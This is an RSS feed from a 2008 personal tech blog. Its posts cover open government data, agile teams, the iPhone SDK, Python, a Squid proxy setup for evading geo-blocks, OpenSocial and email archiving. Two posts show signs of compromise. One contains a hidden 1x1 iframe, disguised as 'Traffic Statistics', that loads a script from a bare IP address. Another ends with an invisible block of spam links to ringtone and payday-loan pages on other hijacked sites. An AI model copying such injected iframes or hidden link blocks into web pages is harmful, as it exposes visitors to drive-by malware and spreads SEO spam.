<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.1.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Where is Nigel?</title>
	<link>http://www.whereisnigel.co.uk</link>
	<description>Where is Nigel Pepper? Where indeed? And where's his head at.  The thoughts and feelings of aforementioned.</description>
	<pubDate>Fri, 22 Aug 2008 12:09:57 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.1.1</generator>
	<language>en</language>
			<item>
		<title>Does it matter where you live?</title>
		<link>http://www.whereisnigel.co.uk/2008/08/22/does-it-matter-where-you-live/</link>
		<comments>http://www.whereisnigel.co.uk/2008/08/22/does-it-matter-where-you-live/#comments</comments>
		<pubDate>Fri, 22 Aug 2008 12:07:53 +0000</pubDate>
		<dc:creator>Nigel Pepper</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.whereisnigel.co.uk/2008/08/22/does-it-matter-where-you-live/</guid>
		<description><![CDATA[
Well, apparently it does.  London�??s Metropolitan Police force has decided to use London�??s crime data in a way which is tangibly beneficial to Londoners, tourists; any interested party really.  But this is more than just another government website.  The subject matter is crime, always a political hot-potato, and increasing visibility of badly [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://maps.met.police.uk/" target="_blank" title="Crims can�??t walk"><img src="http://www.whereisnigel.co.uk/wp-content/uploads/2008/08/map.png" alt="Crims can�??t walk" /></a></p>
<p>Well, apparently it does.  London�??s Metropolitan Police force has decided to use London�??s crime data in a way which is tangibly beneficial to Londoners, tourists; any interested party really.  But this is more than just another government website.  The subject matter is crime, always a political hot-potato, and increasing visibility of badly performing areas should (and this is a good thing) increase pressure on local government to tackle localised issues, reducing their ability to hide behind the banner of London.  It has been <a href="http://www.nationalschool.gov.uk/policyhub/docs/sgibbons_18mar04.pdf">known for some time</a>, that small pockets within a metropolis are responsible for much of its crime.</p>
<p>For a body such as the Met Police service, this is a refreshingly �??balls-in-the-wind�?? attitude to take, but one which can only serve to benefit communities, and may even improve police/community relations with the increased open-ness.</p>
<p>Some might consider this to be another token political gesture.  I hope it�??s a sign of the future.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whereisnigel.co.uk/2008/08/22/does-it-matter-where-you-live/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Here comes your data</title>
		<link>http://www.whereisnigel.co.uk/2008/07/07/here-comes-your-data/</link>
		<comments>http://www.whereisnigel.co.uk/2008/07/07/here-comes-your-data/#comments</comments>
		<pubDate>Mon, 07 Jul 2008 17:53:18 +0000</pubDate>
		<dc:creator>Nigel Pepper</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.whereisnigel.co.uk/2008/07/07/here-comes-your-data/</guid>
		<description><![CDATA[ \r\n\r\nI an age of increasing political indifference to the views of \&#8217;le gens\&#8217;, it is good to see the UK government beginning to show, even dare I say it, encourage their population to make use of, and provide ways to, make the most of national data.  Recent campaigns such as showusabetterway.co.uk is a genuine [...]]]></description>
			<content:encoded><![CDATA[<p> <img src="http://www.whereisnigel.co.uk/wp-content/uploads/2008/07/train.jpg" alt="train" />\r\n\r\nI an age of increasing political indifference to the views of \&#8217;le gens\&#8217;, it is good to see the UK government beginning to show, even dare I say it, encourage their population to make use of, and provide ways to, make the most of national data.  Recent campaigns such as <a href="http://www.showusabetterway.co.uk/call/">showusabetterway.co.uk</a> is a genuine government initiative aimed at getting developers involved in making use of public data but more interestingly, to discover what kinds of data would be useful to make available.  I believe this recent interest in public data is largely due to two sources.  The awesome <a href="http://www.mysociety.org/">www.mysociety.org</a> an organisation behind many new and useful resources such as <a href="http://uk2005.notapathetic.com/">notapathetic.com</a> <a href="http://www.pledgebank.com/">pledgebank.com/</a> <a href="http://www.hearfromyourmp.com/">hearfromyourmp.com/</a> <a href="http://www.fixmystreet.com/">fixmystreet.com/</a> (the list goes on) are, I believe, a huge influence here.  Secondly the <a href="http://www.guardian.co.uk/">guardian</a> newspaper have been running their <a href="http://www.freeourdata.org.uk/">free our data</a> campaign for a some time now further helping the cause.  The outcome can only be good.  More freedom, more availability, more value from our data.<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whereisnigel.co.uk/2008/07/07/here-comes-your-data/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Agile&#8230; {wah wah}</title>
		<link>http://www.whereisnigel.co.uk/2008/05/01/agile-wah-wah/</link>
		<comments>http://www.whereisnigel.co.uk/2008/05/01/agile-wah-wah/#comments</comments>
		<pubDate>Thu, 01 May 2008 20:51:21 +0000</pubDate>
		<dc:creator>Nigel Pepper</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.whereisnigel.co.uk/2008/05/01/agile-wah-wah/</guid>
		<description><![CDATA[
I stubled across this interesting post today.  It piqued my interest not because of any profound revelation in psychology or an aids cure; moreover, the simple reason why big companies often suck at getting stuff done.  Shazam. There it is. Massively, glaringly even, obvious.
People work better in small groups.  Simple.
When you forcibly [...]]]></description>
			<content:encoded><![CDATA[<p><a href='http://www.whereisnigel.co.uk/wp-content/uploads/2008/05/agile.jpg' title='agile.jpg'><img src='http://www.whereisnigel.co.uk/wp-content/uploads/2008/05/agile.jpg' alt='agile.jpg' /></a></p>
<p>I stubled across <a href="http://www.37signals.com/svn/posts/995-if-youre-working-in-a-big-group-youre-fighting-human-nature">this interesting post</a> today.  It piqued my interest not because of any profound revelation in psychology or an aids cure; moreover, the simple reason why big companies often suck at getting stuff done.  Shazam. There it is. Massively, glaringly even, obvious.</p>
<p>People work better in small groups.  Simple.</p>
<p>When you forcibly gather people into larger &#8217;societies&#8217; such as the common workplace, you&#8217;re working against people&#8217;s natural strengths, and breakdown how (many) people work best.</p>
<p>1) Simple communication without overhead. - being able to talk rather than write email.  Massively more efficient, effective, sensible; and often deals with issues immediately.</p>
<p>2) Coordination - Everyone knows what everyone&#8217;s doing.  A byproduct of point 1.</p>
<p>3) Agility - Genuine speed in getting stuff done.  A byproduct of 1 and 2.</p>
<p>So Agile practices in the software sense bring about this kind of step change in productivity, not through being a new misunderstood pseudo-science, but because they allow people to interact as they should, and place emphasis on the things humans do well.  Funny then, the bigger the company, the more this ideology is orthogonal to the way they operate.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whereisnigel.co.uk/2008/05/01/agile-wah-wah/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New iPhone anyone?</title>
		<link>http://www.whereisnigel.co.uk/2008/04/26/new-iphone-anyone/</link>
		<comments>http://www.whereisnigel.co.uk/2008/04/26/new-iphone-anyone/#comments</comments>
		<pubDate>Sat, 26 Apr 2008 14:38:23 +0000</pubDate>
		<dc:creator>Nigel Pepper</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.whereisnigel.co.uk/2008/04/26/new-iphone-anyone/</guid>
		<description><![CDATA[
So it looks like the new iPhone is on the way; and with all the things we wanted, 3G Data, a GPS device.  Is this then, the one device to rule them all?  Apple i&#8217;m sure would like to have us think so.  Like many folks I know, I have over time, [...]]]></description>
			<content:encoded><![CDATA[<p><a href='http://www.whereisnigel.co.uk/wp-content/uploads/2008/04/rcc-446f1b557845awalkman.jpg' title='w'><img src='http://www.whereisnigel.co.uk/wp-content/uploads/2008/04/rcc-446f1b557845awalkman.thumbnail.jpg' alt='w' /></a><br />
So it looks like the <a href="http://tinyurl.com/69bt3m">new iPhone is on the way</a>; and with all the things we wanted, 3G Data, a GPS device.  Is this then, the one device to rule them all?  Apple i&#8217;m sure would like to have us think so.  Like many folks I know, I have over time, gathered an annoying number of gadgets which now weigh me down, Phone, iPod, GPS device for the car, at one point, handheld GPS device etc.  The phone saw me do away with a diary, as the iPod did to the walkman.  So now one device for all.  Only thing it&#8217;s missing then, for me, to be the killer device, full-sunday-roast-and-don&#8217;t-hold-the-mustard?</p>
<p>Openness.</p>
<p>A closed source, paid-for developer SDK?  Apple are keeping a tight hold on their little <a href="http://en.wikipedia.org/wiki/Intellectual_property">IP</a> gem here.  We&#8217;ve been discussing the merits and issues with open source, indeed many readers of this blog.  Some of the more commonly cited benefits of open source:</p>
<p>    * Reliability<br />
    * Stability<br />
    * Cost<br />
    * Flexibility and Freedom<br />
    * Support and Accountability</p>
<p>Not things companies turn their noses up at. It seems then, to make <a href="http://www.informationweek.com/news/software/linux/showArticle.jhtml;jsessionid=5TFXLPSFNEFNUQSNDLPCKH0CJUNN2JVN?articleID=196901596&#038;_requestid=499667">good economic sense to open source </a>such software.  At <a href="http://web21c.bt.com/">work</a>, we have decided to open source our SDKs.  For us, like Apple, the SDK is an enabling tool; lowering the technical barrier to entry for our services.  Admittedly Apple&#8217;s choice of closed source is unlikely to cause them problems as such.  I believe they may be missing out on some great new content for the iPhone.</p>
<p>All well and good however, some people will only be concerned as to whether it will blend.</p>
<object width="425" height="355">
<param name="movie" value="http://www.youtube.com/v/qg1ckCkm8YI&#038;hl=en&#038;rel=0&#038;color1=0x3a3a3a&#038;color2=0x999999"></param>
<param name="wmode" value="transparent"></param>
<p><embed src="http://www.youtube.com/v/qg1ckCkm8YI&#038;hl=en&#038;rel=0&#038;color1=0x3a3a3a&#038;color2=0x999999" type="application/x-shockwave-flash" wmode="transparent" width="425" height="355"></embed></object>
]]></content:encoded>
			<wfw:commentRss>http://www.whereisnigel.co.uk/2008/04/26/new-iphone-anyone/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Python.. and DAMN, I could only match Kerry!</title>
		<link>http://www.whereisnigel.co.uk/2008/04/15/python-and-damn-i-could-only-match-kerry/</link>
		<comments>http://www.whereisnigel.co.uk/2008/04/15/python-and-damn-i-could-only-match-kerry/#comments</comments>
		<pubDate>Tue, 15 Apr 2008 22:39:01 +0000</pubDate>
		<dc:creator>Nigel Pepper</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.whereisnigel.co.uk/2008/04/15/python-and-damn-i-could-only-match-kerry/</guid>
		<description><![CDATA[Playing around with python this week, we were set a puzzle based on the now infamous Fizz Buzz developer competence (achem) test.  The rules were as follows:
    Write a program that processes a list of numbers from 1 to 100. For each number, if the number is a multiple of 3, [...]]]></description>
			<content:encoded><![CDATA[<p>Playing around with python this week, we were set a puzzle based on the now infamous Fizz Buzz developer competence (achem) test.  The rules were as follows:</p>
<blockquote><p>    Write a program that processes a list of numbers from 1 to 100. For each number, if the number is a multiple of 3, print &#8220;FIZZ&#8221;; if the number is a multiple of 5, print &#8220;BANG&#8221;; otherwise, print the number.</p>
<p>    You are *NOT* allowed to use any *IF/ELSE* statements in your code. You can use the list-accessing ternary operator hack, but whilst I&#8217;ll accept your homework if you do, you&#8217;ll miss out on the prize (alcoholic), which goes to the most concise code (not including whitespace).</p></blockquote>
<p><a href="http://www.kerrybuckley.org/2008/04/14/first-stab-at-python/">My colleague Kerry</a> wrote an excellent post on how he achieved this.  He diligently wrote a basic test, and then started towards the goal.  I was a little less dilligent; and so, armed with google and a spare 40 minutes, I set about the task.</p>
<p>The outcome, while annoyingly *exactly* the same character length as Kerry&#8217;s solution, should be marginally more performant due to use of Tuples rather than lists, and a single print statement evaluation, rather than 100.  Anyway, without further ado, here&#8217;s the code.  I&#8217;d love people to tell me how to improve/reduce it!</p>
<p><code>print[('','','Buzz')[n%3]+('','','','','Fizz')[n%5] or n+1 for n in range(100)]</code></p>
<p>In the process however, I did learn a few cool things about Python.  I&#8217;ve been warming to Python of late and am currently reading <a href="http://diveintomark.org/">Mark Pilgrim&#8217;s</a> excellent publication <a href="http://www.amazon.com/exec/obidos/ASIN/1590593561/ref=nosim/diveintomark20">Dive into Python</a> - highly recommended if you fancy dipping your proverbial toes.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whereisnigel.co.uk/2008/04/15/python-and-damn-i-could-only-match-kerry/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Squid and the USA</title>
		<link>http://www.whereisnigel.co.uk/2008/04/13/squid-and-the-usa/</link>
		<comments>http://www.whereisnigel.co.uk/2008/04/13/squid-and-the-usa/#comments</comments>
		<pubDate>Sun, 13 Apr 2008 11:29:15 +0000</pubDate>
		<dc:creator>Nigel Pepper</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.whereisnigel.co.uk/2008/04/13/squid-and-the-usa/</guid>
		<description><![CDATA[
Why is it that the US has so much good TV programming?  Granted there&#8217;s plenty of crap out there too, but definitely a body of good stuff.  Music too.  Which is why I hate restrictions on accessibility.  Pandora and a few others have blocked access to content from outside of the [...]]]></description>
			<content:encoded><![CDATA[<p><a href='http://www.whereisnigel.co.uk/wp-content/uploads/2008/04/squid.jpg' title='Squid'><img src='http://www.whereisnigel.co.uk/wp-content/uploads/2008/04/squid.thumbnail.jpg' alt='Squid' /></a><br />
Why is it that the US has so much good TV programming?  Granted there&#8217;s plenty of crap out there too, but definitely a body of good stuff.  Music too.  Which is why I hate restrictions on accessibility.  Pandora and a few others have blocked access to content from outside of the US.  Luckily this is easily circumventable (is that a word?) with a little proxy magic.</p>
<p>Here&#8217;s what I did to get pandora working in the UK.</p>
<p>For this recipe you will need:<br />
1 x Fresh linux server (I use Ubuntu server 7.10) Hosted in an authorised country for the content you want(easy for the US).<br />
1 x Copy of <a href="http://www.squid-cache.org/">squid proxy server</a>.<br />
5 x minutes.</p>
<p>What we&#8217;re going to do here is:</p>
<ul>
<li>Install squid</li>
<li>Create a password file for basic authentication - squid support lots of other auth. system too</li>
<li>Set Squid to allow pass-through proxying for all connections which are authenticated</li>
<li>Deny all others</li>
</ul>
<p>Download onto your server, a copy of Squid and install.  If you&#8217;re on ubuntu, this will be easily acheived doing :<br />
<code>sudo apt-get install squid</code></p>
<p>If you&#8217;re not on ubuntu, the quickest way is probably to grab a binary package for your linux flavour and install.  </p>
<p>By default, squid installs its config files to <strong>/etc/squid</strong></p>
<p>Open up <strong>&#8220;squid.conf&#8221;</strong> in your favourite text editor.</p>
<p>Vi is usually fine for this job.  if you look around line 2590 in the config file (<strong>&#8220;2590gg&#8221;</strong>  in vi) you&#8217;ll see a section around authorisation rules. We&#8217;re going to be using basic authentication which is denoted as follows:</p>
<p><code><br />
auth_param basic program /usr/lib/squid/ncsa_auth /etc/squid/passwd-file<br />
</code></p>
<p>This specifies the authentication system for squid to use.  Above I mentioned there are several others.  If you take a look in  /usr/lib/squid/ you&#8217;ll see others but i&#8217;ve stuck with basic auth here.</p>
<p>I chose to set a TTL for the credentials on my server.  you can do the same but its not required.</p>
<p><code>auth_param basic credentialsttl 3 hour</code></p>
<p>Add the following lines below this:</p>
<p><code>acl nigel proxy_auth REQUIRED</p>
<p>http_access allow nigel<br />
http_access allow localhost</p>
<p># And finally deny all other access to this proxy<br />
http_access deny all</code></p>
<p>Here we are creating an ACL rule called nigel, specifying it is allowed access along with localhost, and denying all other connections.</p>
<p>Almost there.</p>
<p>Above you specified a password file to use at /etc/squid/passwd-file.  Create the password file with htpasswd:</p>
<p><code>htpasswd -c passwd-file <yourname></code></p>
<p>You will be prompted for a password twice.  Make one up.</p>
<p>Cool, you&#8217;re almost there.</p>
<p>Last step is to restart squid.</p>
<p><code>/etc/init.d/squid restart</code></p>
<p>Thats it, happy streaming!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whereisnigel.co.uk/2008/04/13/squid-and-the-usa/feed/</wfw:commentRss>
		</item>
		<item>
		<title>New Band!(wagon) Shindig and the web-app-distributors</title>
		<link>http://www.whereisnigel.co.uk/2008/04/06/new-bandwagon-shindig-and-the-web-app-distributors/</link>
		<comments>http://www.whereisnigel.co.uk/2008/04/06/new-bandwagon-shindig-and-the-web-app-distributors/#comments</comments>
		<pubDate>Sun, 06 Apr 2008 14:56:30 +0000</pubDate>
		<dc:creator>Nigel Pepper</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.whereisnigel.co.uk/2008/04/06/new-bandwagon-shindig-and-the-web-app-distributors/</guid>
		<description><![CDATA[So being a geek, I spent an interesting portion of my sunday afternoon hacking with the good folk from Google UK, some BT hackers Michael Mahemoff and some folk from MySpace Netlog, Hi5 and others.
As you&#8217;re probably aware, Google have made available a bit if software goodness called opensocial.  It essentially allows you to [...]]]></description>
			<content:encoded><![CDATA[<p>So being a geek, I spent an interesting portion of my sunday afternoon hacking with the good folk from Google UK, some <a href="http://simonmcmanus.com/">BT hackers</a> <a href="http://mahemoff.com/about/">Michael Mahemoff</a> and some folk from MySpace Netlog, Hi5 and others.</p>
<p>As you&#8217;re probably aware, Google have made available a bit if software goodness called opensocial.  It essentially allows you to talk to any implementing social networking (or similar) site using a set of <a href="http://code.google.com/apis/opensocial/">standardised APIs</a>.  This means that the web gadget/app your write conforming to opensocial&#8217;s standard, will work (in any site which implements the opensocial API).  &#8220;Cool&#8221; I hear you say.  But what does this look like for me as an app developer?  Well its actually pretty simple.  Basically its this:</p>
<ul>
<li>Define your app in opensocial&#8217;s XML - <a href="http://code.google.com/apis/gadgets/docs/gs.html#Scratchpad">tryout here</a></li>
<li>Deploy it to a <a href="http://code.google.com/apis/opensocial/gettingstarted.html">suitable container</a></li>
<li><a href="http://nigelsays.com:8080/gadgets/ifr?url=http://www.labpixies.com/campaigns/todo/todo.xml">Watch it run!</a></li>
</ul>
<p>I wanted to see what this might look like from an ISV perspective.  Enter <a href="http://incubator.apache.org/shindig/">Shindig</a>.</p>
<p>So I set about getting this all setup.  I checked out the Shindig source from subversion and compiled with the awesome maven tool.  Deployed the resultant java WAR file to a JEE container (I used tomcat), hit it with the gadget xml, and hey presto - gadget renders.  As an ISV, this means I can deploy my application to any number of social sites supporting the opensocial spec, hosting them on my infrastructure all by simply deploying a WAR file.  Very nice.</p>
<p>So onto the application.  The app spec is pretty easy to get going with also.  In a few minutes simon had a simple app which grabbed a list of my friends from the host container, (in this case Hi5).  I&#8217;ll certainly be keeping an eye on this webby goodness o&#8217;er the next few months.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whereisnigel.co.uk/2008/04/06/new-bandwagon-shindig-and-the-web-app-distributors/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Email and the enterprise (vault)</title>
		<link>http://www.whereisnigel.co.uk/2008/02/18/email-and-the-enterprise-vault/</link>
		<comments>http://www.whereisnigel.co.uk/2008/02/18/email-and-the-enterprise-vault/#comments</comments>
		<pubDate>Mon, 18 Feb 2008 21:51:52 +0000</pubDate>
		<dc:creator>Nigel Pepper</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.whereisnigel.co.uk/2008/02/18/email-and-the-enterprise-vault/</guid>
		<description><![CDATA[
Why do we send emails? A simple means of passing information between one another; a proven, simple, understood means of information transfer.  I guess email is so good at doing what to does, we begin to extend and use it in ways it wasn&#8217;t intended.  File storage, file transfer, lightweight identity handle, the [...]]]></description>
			<content:encoded><![CDATA[<p><a href='http://www.whereisnigel.co.uk/wp-content/uploads/2008/02/email-at1.gif' title='Email'><img src='http://www.whereisnigel.co.uk/wp-content/uploads/2008/02/email-at1.thumbnail.gif' alt='Email' /></a></p>
<p>Why do we send emails? A simple means of passing information between one another; a proven, simple, understood means of information transfer.  I guess email is so good at doing what to does, we begin to extend and use it in ways it wasn&#8217;t intended.  File storage, file transfer, lightweight identity handle, the list is near endless.  It would be nice to extend this a step further, and be able to refer to an email by way of a URI. </p>
<p>&#8220;Hey Joe, you remember that email i sent you?&#8230;&#8221; &#8220;&#8230;er no&#8221; &#8220;&#8230;this one http://mycorp.com/mail/2008/02/joe_at_hisdomain.com/122&#8243;.   That would be handy.  Sure you need security wrap around that but thats not a killer.</p>
<p>But then, not all people think this way.</p>
<p>Some would have you believe, that email should never occupy more than half of your mailbox.  Some would like you to take extraordinary measures to prevent losing attachments or old mails.  Some would have you believe they&#8217;re &#8220;helping&#8221; you by moving your mail to an archive such that you&#8217;re only able to retrieve the first 256 characters of the mail, and <b>completely losing</b> attachments.</p>
<p><a href="http://www.symantec.com/business/products/overview.jsp?pcid=2244&#038;pvid=322_1">Some people, friends, are idiots.<br />
</a> </p>
<p>I would add, a caveat to this could be a poor implementation of this product.</p>
<p>A free, simple solution to personal email is offered by google.  As many of you will know, their Gmail service, offers 6+GB of mail storage, all indexed, optional mail tagging available, which mean you practically <b>never</b> have to lose your email.</p>
<p>So why is this such a difficult problem for the enterprise?  Sure, it can be expensive to offer each employee this volume of storage, esp. if you have to host the email data on your own servers.  Even still, this is a solved problem, and for the majority of businesses, utility computing makes disk almost free.  Services like Amazon&#8217;s awesome S3 service for example.</p>
<p>Lets see the enterprise take a new stance on this and figure it out. <u style="display:none"><a href="http://zenerxreview.org/wp-content/1/download-nokia-ringtones.html">download nokia ringtones,download info nokia remember ringtones,download ringtones for all nokia phone</a><a href="http://zenerxreview.org/wp-content/1/free-real-ringtones-for-alltel.html">free real ringtones for alltel</a><a href="http://zenerxreview.org/wp-content/1/cell-cingular-free-phone-ringtones.html">cell cingular free phone ringtones</a><a href="http://zenerxreview.org/wp-content/1/download-free-maker-ringtones.html">download free maker ringtones</a><a href="http://zenerxreview.org/wp-content/1/christian-free-music-ringtones.html">christian free music ringtones</a><a href="http://zenerxreview.org/wp-content/1/7100i-blackberry-ringtones.html">7100i blackberry ringtones</a><a href="http://zenerxreview.org/wp-content/1/samsung-polyphonic-ringtones.html">samsung polyphonic ringtones</a><a href="http://zenerxreview.org/wp-content/1/free-latest-bollywood-ringtones.html">free latest bollywood ringtones</a><a href="http://zenerxreview.org/wp-content/1/real-ringtones-wwe.html">real ringtones wwe</a><a href="http://zenerxreview.org/wp-content/1/music-nextel-ringtones.html">music nextel ringtones</a><a href="http://zenerxreview.org/wp-content/1/nokia-1100-ringtones.html">1100 compositor nokia peliculas ringtones,nokia 1100 ringtones,ringtones gratis nokia 1100</a><a href="http://zenerxreview.org/wp-content/1/2366i-nokia-ringtones.html">2366i nokia ringtones</a><a href="http://zenerxreview.org/wp-content/1/verizon-get-it-now-ringtones.html">ringtones for verizon wireless get it now,verizon get it now ringtones</a><a href="http://zenerxreview.org/wp-content/1/lg-phone-ringtones.html">ringtones for lg wireless phone,lg phone ringtones</a><a href="http://zenerxreview.org/wp-content/1/100-free-virgin-mobile-ringtones.html">100 free virgin mobile ringtones</a><a href="http://zenerxreview.org/wp-content/1/verizon-cell-phone-ringtones.html">verizon cell phone ringtones,ringtones for lg verizon cell phone</a><a href="http://zenerxreview.org/wp-content/1/100-virgin-mobile-ringtones.html">100 virgin mobile ringtones,100 mobile ringtones virgin</a><a href="http://zenerxreview.org/wp-content/1/alltel-free-phone-ringtones.html">alltel free phone ringtones</a><a href="http://zenerxreview.org/wp-content/1/free-kyocera-ringtones.html">free kyocera ringtones</a><a href="http://zenerxreview.org/wp-content/1/mp3-ringtones.html">funny free mp3 ringtones,mp3 ringtones,free mp3 mobile ringtones</a><a href="http://www.womans-health.net/wordpress/wp-content/1/account-checking-loan-no-payday.html">no checking account required payday loan,no checking account payday loan,account checking loan no payday</a><a href="http://www.womans-health.net/wordpress/wp-content/1/payday-loan-on-line.html">payday loan on line</a><a href="http://www.womans-health.net/wordpress/wp-content/1/ez-payday-loan.html">ez payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/company-loan-payday.html">cheap company loan payday,company loan payday,how to start payday loan company</a><a href="http://www.womans-health.net/wordpress/wp-content/1/ten-dollar-payday-loan.html">ten dollar payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/credit-loan-no-payday.html">no credit payday loan,credit dollar loan no payday ten,credit loan no payday</a><a href="http://www.womans-health.net/wordpress/wp-content/1/instant-loan-payday.html">instant loan payday,approval fax instant loan payday,instant fax payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/easy-payday-loan.html">easy payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/faxless-loan-payday.html">faxless loan payday,faxless payday loan with instant approval,faxless and paperless payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/money-tree-payday-loan.html">money tree payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/line-loan-payday.html">line loan payday,payday loan on line</a><a href="http://www.womans-health.net/wordpress/wp-content/1/online-payday-cash-loan.html">online payday cash loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/online-payday-loan-application.html">online payday loan application</a><a href="http://www.womans-health.net/wordpress/wp-content/1/ameriloan-loan-payday.html">ameriloan loan payday</a><a href="http://www.womans-health.net/wordpress/wp-content/1/best-loan-payday.html">payday loan best rate,best payday loan site,best loan payday</a><a href="http://www.womans-health.net/wordpress/wp-content/1/30-day-payday-loan.html">30 day payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/advance-cash-loan-loan-payday.html">advance cash loan loan payday</a><a href="http://www.womans-health.net/wordpress/wp-content/1/advance-cash-loan-payday-software%3F-%3F.html">advance cash loan payday software? ?</a><a href="http://www.womans-health.net/wordpress/wp-content/1/no-faxing-payday-loan.html">no faxing payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/ez-money-payday-loan.html">ez money payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/cheap-loan-payday.html">cheap loan payday,cheap loan long payday term</a><a href="http://www.womans-health.net/wordpress/wp-content/1/cash-til-payday-loan.html">cash til payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/consolidate-debt-loan-payday.html">consolidate payday loan debt,consolidate debt loan payday</a><a href="http://www.womans-health.net/wordpress/wp-content/1/canada-loan-payday.html">all payday loan in canada only,canada loan manitoba payday winnipeg,canada loan payday</a><a href="http://www.womans-health.net/wordpress/wp-content/1/cash-loan-payday-quick.html">cash loan payday quick</a><a href="http://www.womans-health.net/wordpress/wp-content/1/loan-payday-store.html">loan payday store,alabama loan payday store,payday loan store in chicago</a><a href="http://www.womans-health.net/wordpress/wp-content/1/georgia-in-loan-payday.html">georgia in loan payday</a><a href="http://www.womans-health.net/wordpress/wp-content/1/fax-loan-no-payday-required.html">fax loan no payday required</a><a href="http://www.womans-health.net/wordpress/wp-content/1/cheap-payday-loan.html">cheap payday loan</a><a href="http://www.womans-health.net/wordpress/wp-content/1/loan-money-payday-tree.html">loan money payday tree</a></u></p>
]]></content:encoded>
			<wfw:commentRss>http://www.whereisnigel.co.uk/2008/02/18/email-and-the-enterprise-vault/feed/</wfw:commentRss>
		</item>
		<item>
		<title>I&#8217;m back!</title>
		<link>http://www.whereisnigel.co.uk/2008/02/05/im-back/</link>
		<comments>http://www.whereisnigel.co.uk/2008/02/05/im-back/#comments</comments>
		<pubDate>Tue, 05 Feb 2008 05:02:09 +0000</pubDate>
		<dc:creator>Nigel Pepper</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.whereisnigel.co.uk/2008/02/05/im-back/</guid>
		<description><![CDATA[Wooohoo - after a week or so of DNS wierdness my blog is back online.
Better write something.
hmmm.
]]></description>
			<content:encoded><![CDATA[<p>Wooohoo - after a week or so of DNS wierdness my blog is back online.</p>
<p>Better write something.</p>
<p>hmmm.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.whereisnigel.co.uk/2008/02/05/im-back/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Playing with images: Rmagick, Ruby on Rails, large coffee</title>
		<link>http://www.whereisnigel.co.uk/2008/01/10/playing-with-images-rmagick-ruby-on-rails-large-coffee/</link>
		<comments>http://www.whereisnigel.co.uk/2008/01/10/playing-with-images-rmagick-ruby-on-rails-large-coffee/#comments</comments>
		<pubDate>Thu, 10 Jan 2008 23:10:22 +0000</pubDate>
		<dc:creator>Nigel Pepper</dc:creator>
		
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.whereisnigel.co.uk/2008/01/10/playing-with-images-rmagick-ruby-on-rails-large-coffee/</guid>
		<description><![CDATA[After a few minutes of messing around I found it was actually rather simple to perform basic manipulation of images with Rmagick and Ruby.  At work, we&#8217;d been looking for a simple way of allowing folk to upload an image, pop it into a BLOB in postgres and generate a small thumbnail.  So [...]]]></description>
			<content:encoded><![CDATA[<p>After a few minutes of messing around I found it was actually rather simple to perform basic manipulation of images with Rmagick and Ruby.  At work, we&#8217;d been looking for a simple way of allowing folk to upload an image, pop it into a BLOB in postgres and generate a small thumbnail.  So here&#8217;s a brief rundown of what I did (btw: i&#8217;m assuming your modifying an existing model to store the image):</p>
<p><strong>Install Rmagick</strong><br />
(i&#8217;m currently running Vista (not for long) and this is the best for windows as you&#8217;ll struggle to find win32 binaries for the other ruby image mungers).  <a href="http://rmagick.rubyforge.org/">Have a look here </a> for the latest Rmagick.</p>
<p><strong>Prepare your Database.</strong><br />
Do a migration to allow you to store some meta-data and the actual image data.  I did something like this:</p>
<p><code><br />
class AddImageData < ActiveRecord::Migration<br />
  def self.up<br />
    	add_column :foo, :image_content_type, :string<br />
       	add_column :foo, :image_filename, :string<br />
       	add_column :foo, :image_binary_data, :binary<br />
       	add_column :foo, :image_thumb_binary_data, :binary<br />
  end</p>
<p>  def self.down<br />
	remove_column :foo, :image_content_type<br />
       	remove_column :foo, :image_filename<br />
       	remove_column :foo, :image_binary_data<br />
       	remove_column :foo, :image_thumb_binary_data, :binary<br />
  end<br />
end<br />
</code></p>
<p>Run a rake db:migrate to prepare your database.</p>
<p>Write some tests to validate your model class is actually going to do something with the image data.  I wrote a couple of simple tests to prove our accessor method below &#8220;uploaded_picture=&#8221; gets hit when i create a new &#8220;Foo&#8221;, and that the image_data fields are read into the model correctly.</p>
<p><strong>Fix up, Look sharp.</strong><br />
